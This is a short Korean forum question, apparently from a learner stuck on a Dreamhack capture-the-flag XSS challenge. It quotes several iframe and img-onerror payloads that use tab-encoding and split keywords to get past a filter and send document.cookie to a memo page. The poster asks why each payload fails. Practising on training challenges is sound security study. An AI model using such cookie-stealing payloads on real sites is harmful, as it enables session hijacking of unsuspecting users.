/flag에서
<iframe src="javas%09cript:locatio%09n.href='/memo?memo='+do%09cument.cookie">
이 안되는 이유가 get으로 URL에 넣는게 아니라 POST로 보내서 그런건가요?

<iframe src="javas cript:locatio n.href='http://host3.dreamhack.games:17984/memo?memo='+do cument.cookie"> <- location 뒤에 memo 페이지의 전체 url을 붙이면 wrong??이 반환되는데 왜 그런거죠?

img src=javascript: 는 부적절한 구문인가요?
<img src o nerror="locatio n.href='/memo?memo='+do cument.cookie"> 는 왜 안되는걸까요